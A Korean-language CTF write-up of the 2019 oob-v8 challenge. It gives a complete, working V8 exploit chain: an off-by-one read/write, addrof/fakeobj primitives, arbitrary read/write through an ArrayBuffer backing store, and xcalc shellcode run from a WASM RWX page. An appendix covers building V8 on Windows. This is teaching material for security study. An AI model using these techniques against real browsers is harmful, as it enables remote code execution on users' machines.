블로그로 돌아가기
Research

CTF 2019 oob-v8: V8 Out-of-Bounds 읽기/쓰기 익스플로잇

V8 OOB 익스플로잇 단계별 분석: 타입 혼동, addrOf/fakeObj 프리미티브, WASM RWX 셸코드 실행

··10분 읽기
CTFV8ChromeOOBbrowser-exploitationJavaScriptWASM

취약한 소스

이 CTF 문제는 V8에 Array.oob()라는 새로운 내장 함수를 추가하는 패치를 적용한다:

BUILTIN(ArrayOob){
    uint32_t len = args.length();
    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
    Handle<JSReceiver> receiver;
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, receiver,
        Object::ToObject(isolate, args.receiver()));
 
    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
    uint32_t length = static_cast<uint32_t>(array->length()->Number());
 
    if(len == 1){
        // 읽기: array[length] (배열 끝 바로 다음 슬롯) 반환
        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
    } else {
        // 쓰기: array[length] = value
        Handle<Object> value;
        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, value,
            Object::ToNumber(isolate, args.at<Object>(1)));
        elements.set(length, value->Number());
        return ReadOnlyRoots(isolate).undefined_value();
    }
}

버그 동작 분석

  • len > 2이면 undefined를 반환한다. 즉, 추가 인수는 0개 또는 1개만 허용한다.
  • 배열은 FixedDoubleArray로 캐스트되고, length현재 길이(예: 2개 원소 배열은 2)를 가리킨다.
  • 읽기 경로 (len == 1): elements[length]를 반환한다. 배열 끝에서 한 슬롯 초과한 위치다. Off-by-one OOB 읽기.
  • 쓰기 경로 (len == 2): float 값을 elements[length]에 쓴다. 동일한 위치에 OOB 쓰기.
d8> a = [1.1]
[1.1]
d8> a.oob()    // elements[1] 읽기 — 범위 초과
7.2550595796784e-311
d8> a.oob(0x1337)  // elements[1] 쓰기

V8 포인터 태깅

V8은 추가 메모리 없이 값을 구분하기 위해 포인터 태깅을 사용한다:

타입표현 방식
Double (float)원시 64비트 IEEE 754
SMI (Small Integer)value << 32 (예: 0xdeadbeef0xdeadbeef00000000)
힙 포인터address | 1 (예: 0x2233ad9c2ed80x2233ad9c2ed9)
                | ---- 32 bit ---- |
Pointer:        |_____Address____w1|
SMI:            |___int32_value___0|

V8은 최하위 비트(LSB)를 사용해 SMI와 힙 오브젝트 포인터를 구별하고, 두 번째 최하위 비트로 힙 포인터의 약한/문자열 참조를 구별한다. 메모리에서 태그된 포인터를 읽을 때는 역참조 전에 1을 빼야 한다.


Float/Integer 변환 헬퍼

V8은 정보를 IEEE 754 double로 누출하기 때문에 비트 패턴을 재해석하는 헬퍼 함수가 필요하다:

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
 
function ftoi(val) {  // float → BigInt
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
 
function itof(val) {  // BigInt → float
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

두 함수는 동일한 8바이트 ArrayBuffer를 공유한다. ftoi는 float 비트를 리틀 엔디안 64비트 정수로 재해석하고, itof는 그 반대를 수행한다. 누출된 값을 16진수로 출력하려면 "0x" + ftoi(val).toString(16)을 사용한다.


V8 메모리 레이아웃

%DebugPrint() 접근을 위해 d8 --allow-natives-syntax로 실행해야 한다.

var a = [1.1, 2.2];
pwndbg> job *args.values_
0x3972f184e229: [JSArray]
 - map: 0x16a6f3fc2ed9
 - elements: 0x3972f184e209 <FixedDoubleArray[2]>
 - length: 2
 
pwndbg> x/4xg 0x3972f184e229-1
0x3972f184e228: 0x000016a6f3fc2ed9  0x000006c9469c0c71  ← map | properties
0x3972f184e238: 0x00003972f184e209  0x0000000200000000  ← elements | length SMI
 
pwndbg> x/4xg 0x3972f184e209-1      ← FixedDoubleArray
0xdcadd60e208:  0x00001647bdf014f9  0x0000000200000000  ← map | length
0xdcadd60e218:  0x3ff199999999999a  0x400199999999999a  ← 1.1 | 2.2
0xdcadd60e228:  0x00002694087c2ed9  0x00001647bdf00c71  ← JSArray 시작

메모리 다이어그램:

              &→ | FixedDoubleArray map | length (SMI) |
                 |        1.1          |      2.2      |
JSArray ──────→  |    JSArray map      |  properties   |
              ←* |    elements ptr     |  length (SMI) |

a.oob()elements[1] 바로 다음 슬롯을 읽는다. 이 위치는 JSArray의 map 포인터에 해당하므로 힙 주소가 누출된다.

d8> var a = [1.1, 2.2];
d8> "0x" + ftoi(a.oob()).toString(16);
"0x17dc4dd0e0a9"    // ← JSArray map 주소 (태그 포함)

V8 Map이란?

V8 Map(숨겨진 클래스라고도 불림)은 다음 정보를 담는 메타데이터 구조체다:

  • 객체의 동적 타입 (String, Uint8Array, JSArray 등)
  • 바이트 단위 객체 크기
  • 프로퍼티 이름과 저장 위치
  • 원소 종류 — 원소가 언박스된 double인지 태그된 포인터인지
  • 프로토타입 포인터

서로 다른 원소 종류를 가진 배열은 서로 다른 Map을 갖는다. float 배열(PACKED_DOUBLE_ELEMENTS)과 객체 배열(PACKED_ELEMENTS)은 별개의 Map을 가지며, 한 배열의 Map을 다른 배열의 Map으로 교체하면 V8이 원소 값을 잘못 해석하게 된다.


addrOf와 fakeObj 프리미티브

addrOf — 임의 객체의 힙 주소 획득

float 배열의 원소는 원시 double로 저장된다. 객체 배열의 원소는 태그된 힙 포인터다. 객체 배열에 float Map을 부여하면, arr[0]을 읽을 때 그 위치에 저장된 객체의 원시 포인터를 double로 해석하여 반환한다.

var float_arr = [1.1];
var float_arr_map = float_arr.oob();  // float 배열 Map 누출
 
var obj = {"A": 1.1};
var obj_arr = [obj];
 
obj_arr.oob(float_arr_map);           // obj_arr의 map 교체
"0x" + ftoi(obj_arr[0]).toString(16); // obj_arr[0]이 이제 obj의 주소를 float으로 누출
// "0x219090b924f1"
 
%DebugPrint(obj);
// 0x219090b924f1 <Object map = ...>  ← 일치!

전체 구현:

var temp_obj  = {"A": 1};
var obj_arr   = [temp_obj];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var obj_arr_map   = obj_arr.oob();
var float_arr_map = float_arr.oob();
 
function addrof(in_obj) {
    obj_arr[0] = in_obj;
    obj_arr.oob(float_arr_map);   // 원소를 float으로 재해석
    let addr = obj_arr[0];        // 원시 포인터를 double로 읽기
    obj_arr.oob(obj_arr_map);     // Map 복구
    return ftoi(addr);
}

fakeObj — 임의 주소를 JS 객체로 취급

반대의 경우: float 배열 슬롯에 주소를 쓰고 해당 float 배열에 객체 Map을 부여한다. arr[0]을 읽으면 이제 그 주소에서 시작하는 메모리를 JS 객체로 처리하여 반환한다.

function fakeobj(addr) {
    float_arr[0] = itof(addr);    // 대상 주소를 float으로 배치
    float_arr.oob(obj_arr_map);   // float 원소를 포인터로 재해석
    let fake = float_arr[0];      // V8이 addr을 힙 객체로 취급
    float_arr.oob(float_arr_map); // Map 복구
    return fake;
}

임의 읽기/쓰기

임의 읽기 (AAR)

두 번째 원소가 가짜 JSArray의 elements 포인터를 제어하는 조작된 배열을 구성한다:

var arb_rw_arr = [float_arr_map, 1.2, 1.3, 1.4];
 
function arb_read(addr) {
    if (addr % 2n == 0) addr += 1n;  // 태그된 포인터 보장
 
    // arb_rw_arr 바로 위에 fakeobj 배치
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
 
    // arb_rw_arr[2]가 fake의 elements 포인터가 됨
    // elements[0]은 elements_ptr + 0x10에 위치하므로 0x10을 빼야 함
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
 
    return ftoi(fake[0]);
}

레이아웃을 확인하는 메모리 뷰:

pwndbg> x/10xg 0x04f1c474ee99-1 - 0x30
0x4f1c474ee68:  0x00000f50a36814f9  0x0000000400000000  ← FixedDoubleArray
0x4f1c474ee78:  0x3ff199999999999a  0x3ff3333333333333  ← [0] [1]
0x4f1c474ee88:  0x3ff4cccccccccccd  0x3ff6666666666666  ← [2] [3]
0x4f1c474ee98:  0x00002f930ed42ed9  0x00000f50a3680c71  ← JSArray map | properties
0x4f1c474eea8:  0x000004f1c474ee69  0x0000000400000000  ← elements ptr | length

arb_rw_arr[2]는 FixedDoubleArray 시작부터 +0x20 오프셋에 위치한다. fakeobjaddrof(arb_rw_arr) - 0x20 위치에 가짜 JSArray를 생성하면, V8은 arb_rw_arr[2]를 가짜 JSArray의 elements 포인터로 읽는다.

초기 임의 쓰기

function initial_arb_write(addr, val) {
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
    fake[0] = itof(BigInt(val));
}

ArrayBuffer 백킹 스토어를 통한 완전한 임의 쓰기

가짜 객체를 통한 직접 쓰기는 불안정하다. 견고한 방법은 실제 ArrayBuffer의 백킹 스토어 포인터를 덮어쓴 뒤 DataView를 사용해 해당 주소에 쓰는 것이다:

function arb_write(addr, val) {
    let buf = new ArrayBuffer(8);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;  // 백킹 스토어는 JSArrayBuffer+0x20 위치
    initial_arb_write(backing_store_addr, addr);
    dataview.setBigUint64(0, BigInt(val), true);
}

검증 — __free_hooksystem으로 덮어쓰기:

pwndbg> p &__free_hook
$2 = 0x7f78e7835e48
 
d8> initial_arb_write(backing_store_addr, 0x7f78e7835e48);
d8> dataview.setBigUint64(0, BigInt(0x7f78e76992c0), true);  // &system
 
pwndbg> x/xg &__free_hook
0x7f78e7835e48: 0x00007f78e76992c0   ← __free_hook → system ✓

프리미티브 요약

객체 배열 레이아웃

| MAP | Properties |
| Obj |

Float 배열 레이아웃

| MAP    | Properties |
| Fl_val | Fl_val...  |

addrof

function addrof(obj){
    obj_arr[0] = obj;
    obj_arr.oob(float_arr_map);  // Map 교체 → 포인터를 float으로 읽기
    let addr = obj_arr[0];
    obj_arr.oob(obj_arr_map);    // 복구
    return ftoi(addr);
}

fakeobj

function fakeobj(addr) {
    float_arr[0] = itof(addr);   // addr을 float으로 쓰기
    float_arr.oob(obj_arr_map);  // Map 교체 → float을 포인터로 취급
    let fake = float_arr[0];
    float_arr.oob(float_arr_map); // 복구
    return fake;
}

전체 익스플로잇 — WASM RWX 페이지 + 셸코드

V8은 컴파일된 WASM 코드를 위해 읽기-쓰기-실행(RWX) 페이지를 할당한다. 익스플로잇 과정:

  1. WASM 인스턴스를 생성한다.
  2. arb_read를 사용해 WasmInstance+0x88에서 RWX 페이지 주소를 누출한다.
  3. 덮어쓴 ArrayBuffer 백킹 스토어를 통해 RWX 페이지에 셸코드를 복사한다.
  4. 내보낸 WASM 함수를 호출하면 셸코드가 실행된다.
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
 
function ftoi(val){ f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); }
function itof(val){ u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0]; }
 
var obj = {"A":1};
var obj_arr   = [obj];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var obj_arr_map   = obj_arr.oob();
var float_arr_map = float_arr.oob();
 
console.log("[+] Float Array Map: 0x" + ftoi(float_arr_map).toString(16));
console.log("[+] Object Array Map: 0x" + ftoi(obj_arr_map).toString(16));
 
function addrof(in_obj){
    obj_arr[0] = in_obj;
    obj_arr.oob(float_arr_map);
    let addr = obj_arr[0];
    obj_arr.oob(obj_arr_map);
    return ftoi(addr);
}
 
function fakeobj(addr){
    float_arr[0] = itof(addr);
    float_arr.oob(obj_arr_map);
    let fake = float_arr[0];
    float_arr.oob(float_arr_map);
    return fake;
}
 
var arb_rw_arr = [float_arr_map, 1.2, 1.3, 1.4];
console.log("[+] Controlled Float Array: 0x" + addrof(arb_rw_arr).toString(16));
 
function arb_read(addr){
    if(addr % 2n == 0) addr += 1n;
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
    return ftoi(fake[0]);
}
 
function initial_arb_write(addr, val){
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
    fake[0] = itof(BigInt(val));
}
 
// 42를 반환하는 최소한의 WASM 모듈
var wasm_code = new Uint8Array([
    0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,
    3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,
    5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,
    7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,
    10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11
]);
var wasm_mod      = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
 
// WasmInstance+0x88에 RWX 페이지 주소가 저장됨
var rwx_page_addr = arb_read(addrof(wasm_instance) - 1n + 0x88n);
console.log("[+] RWX WASM Page Address: 0x" + rwx_page_addr.toString(16));
 
// xcalc 셸코드
var shellcode = [
    0x90909090, 0x90909090,
    0x782fb848, 0x636c6163, 0x48500000,
    0x73752fb8, 0x69622f72, 0x8948506e,
    0xc03148e7, 0x89485750, 0xd23148e6,
    0x3ac0c748, 0x50000030, 0x4944b848,
    0x414c5053, 0x48503d59, 0x3148e289,
    0x485250c0, 0xc748e289, 0x00003bc0,
    0x050f00
];
 
function copy_shellcode(addr, shellcode){
    let buf = new ArrayBuffer(0x100);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;
    initial_arb_write(backing_store_addr, addr);
    for(let i = 0; i < shellcode.length; i++){
        dataview.setUint32(4*i, shellcode[i], true);
    }
}
 
console.log("[+] RWX 페이지에 셸코드 복사 중");
copy_shellcode(rwx_page_addr, shellcode);
console.log("[+] calc 실행");
f();

익스플로잇 체인 요약

Array.oob()를 통한 OOB 읽기/쓰기

JSArray Map 포인터 누출 (float vs object)

addrOf 프리미티브 — 임의 객체의 힙 주소 누출

fakeObj 프리미티브 — 임의 주소를 JS 객체로 취급

임의 읽기 — 가짜 JSArray의 elements 포인터 제어

임의 쓰기 — ArrayBuffer 백킹 스토어 + DataView 덮어쓰기

WASM 인스턴스 RWX 페이지 주소 누출 (WasmInstance+0x88)

덮어쓴 백킹 스토어를 통해 RWX 페이지에 셸코드 복사

WASM 익스포트 호출 → 셸코드 실행

핵심 정리

  • V8의 포인터 태깅 특성상 float 배열과 객체 배열 사이에서 Map을 교체하면 엔진이 원소 값을 잘못 해석하게 된다. 이것이 addrOffakeObj 모두의 근본 메커니즘이다.
  • OOB 접근은 FixedDoubleArray 바로 다음에 메모리에 위치한 JSArray의 Map 필드를 정확히 겨냥한다. 따라서 단 하나의 oob() 쓰기로 Map 오염이 가능하다.
  • ArrayBuffer 백킹 스토어 덮어쓰기는 V8 임의 쓰기의 표준 패턴이다. 불안정한 가짜 객체 쓰기를 피하고 DataView를 통해 깔끔한 타입 안전 인터페이스를 제공한다.
  • WASM RWX 페이지는 V8 익스플로잇에서 정식 exec 프리미티브다. 페이지는 WebAssembly.Instance당 한 번 할당되며, WasmInstance 구조체의 고정 오프셋에서 arb_read로 주소를 읽어올 수 있다.

xcalc 셸코드 실행 결과 — WASM RWX 페이지를 통한 임의 코드 실행 성공


부록: V8 빌드 환경 구성 (Windows)

익스플로잇을 재현하려면 특정 버전의 V8을 직접 빌드해야 한다. 아래는 Windows 환경 기준 빌드 절차다.

크롬 자동 업데이트 비활성화

V8 버전을 고정하려면 크롬의 자동 업데이트를 먼저 비활성화한다.

서비스 비활성화msconfig.msc에서 gupdate, gupdatem 옵션을 체크 해제한다.

크롬 업데이트 서비스 비활성화 (msconfig.msc)

작업 스케줄러 비활성화taskschd.msc에서 GoogleUpdateTaskMachineCore, GoogleUpdateTaskMachineUA를 비활성화한다.

업데이트 파일 이름 변경C:\Program Files (x86)\Google\Update\GoogleUpdate.exeGoogleUpdate.bak로 변경한다.

크롬 업데이트 파일 이름 변경

준비물

  • Visual Studio 2019 16.0.0 이상
  • Windows 10 SDK 10.10.17763 이상
  • depot_tools

Visual Studio 설치

Visual Studio 2019 설치

설치 후 제어판 → 프로그램 추가/제거에서 Windows Software Development Kit를 선택하고 Change를 클릭한다.

Windows SDK 변경 메뉴

Windows SDK 구성 요소 선택

Windows Debugging Tools를 체크하고 변경한다.

Windows Debugging Tools 설치 완료

depot_tools 설치

https://storage.googleapis.com/chrome-infra/depot_tools.zip을 다운로드하여 C:\v8_engine\depot_tools에 압축 해제한다. 이후 Path 환경 변수에 해당 경로를 추가한다.

Path 환경 변수에 depot_tools 추가

추가로 다음 환경 변수를 설정한다:

DEPOT_TOOLS_WIN_TOOLCHAIN = 0
GYP_MSVS_VERSION=2019

추가 환경 변수 설정

C:\v8_engine\depot_tools>gclient 명령을 실행한다. 성공하면 다음 화면이 나타난다.

gclient 실행 성공

where python 명령으로 depot_tools의 python.bat이 목록 최상단에 있는지 확인한다.

python 경로 확인

V8 소스 다운로드 및 빌드

C:\v8_engine\source>fetch v8

정상적으로 받으면 다음 화면을 보여준다.

V8 소스 다운로드 성공

원하는 커밋으로 checkout 후 gclient sync를 실행하고, v8 디렉토리에서 빌드 설정을 생성한다.

gn gen --ide=vs out\x64.release --args="is_debug=false is_component_build=true"

성공하면 다음 화면이 나타난다.

gn gen 실행 성공

마지막으로 ninja로 빌드를 진행한다.

ninja -C out.gn/x64.release

ninja 빌드 완료